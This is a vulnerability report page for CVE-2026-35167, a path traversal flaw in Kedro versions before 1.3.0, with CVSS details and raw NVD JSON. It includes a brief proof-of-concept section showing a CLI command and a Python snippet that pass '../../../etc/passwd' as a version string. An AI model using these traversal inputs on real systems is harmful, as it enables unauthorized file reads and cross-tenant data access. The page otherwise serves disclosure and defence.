Security Vulnerability Report
中文
CVE-2026-35167 CVSS 7.1 HIGH

CVE-2026-35167

Published: 2026-04-06 18:16:43
Last Modified: 2026-04-14 15:26:03

Description

Kedro is a toolbox for production-ready data science. Prior to 1.3.0, the _get_versioned_path() method in kedro/io/core.py constructs filesystem paths by directly interpolating user-supplied version strings without sanitization. Because version strings are used as path components, traversal sequences such as ../ are preserved and can escape the intended versioned dataset directory. This is reachable through multiple entry points: catalog.load(..., version=...), DataCatalog.from_config(..., load_versions=...), and the CLI via kedro run --load-versions=dataset:../../../secrets. An attacker who can influence the version string can force Kedro to load files from outside the intended version directory, enabling unauthorized file reads, data poisoning, or cross-tenant data access in shared environments. This vulnerability is fixed in 1.3.0.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:kedro:*:*:*:*:*:python:*:* - VULNERABLE
Kedro < 1.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-35167: Path Traversal in Kedro # The vulnerability allows reading files outside the intended versioned directory. # Method 1: CLI usage # An attacker can execute the following command to read 'secrets' file from parent directories # Command: kedro run --load-versions=my_dataset:../../../etc/passwd # Method 2: Python API usage from kedro.io import DataCatalog # Assuming a dataset is configured in the catalog # An attacker with control over the 'version' parameter can trigger the path traversal # Malicious version string containing '../' to escape the dataset directory malicious_version = "../../../etc/passwd" # This triggers _get_versioned_path() without sanitization # catalog.load("my_dataset", version=malicious_version) # print("If vulnerable, file content is returned.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35167", "sourceIdentifier": "[email protected]", "published": "2026-04-06T18:16:43.217", "lastModified": "2026-04-14T15:26:03.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kedro is a toolbox for production-ready data science. Prior to 1.3.0, the _get_versioned_path() method in kedro/io/core.py constructs filesystem paths by directly interpolating user-supplied version strings without sanitization. Because version strings are used as path components, traversal sequences such as ../ are preserved and can escape the intended versioned dataset directory.\nThis is reachable through multiple entry points: catalog.load(..., version=...), DataCatalog.from_config(..., load_versions=...), and the CLI via kedro run --load-versions=dataset:../../../secrets. An attacker who can influence the version string can force Kedro to load files from outside the intended version directory, enabling unauthorized file reads, data poisoning, or cross-tenant data access in shared environments. This vulnerability is fixed in 1.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:kedro:*:*:*:*:*:python:*:*", "versionEndExcluding": "1.3.0", "matchCriteriaId": "24F97BC8-D0B5-4D19-A22A-81F2A4FDED0E"}]}]}], "references": [{"url": "https://github.com/kedro-org/kedro/pull/5442", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/kedro-org/kedro/security/advisories/GHSA-6326-w46w-ppjw", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}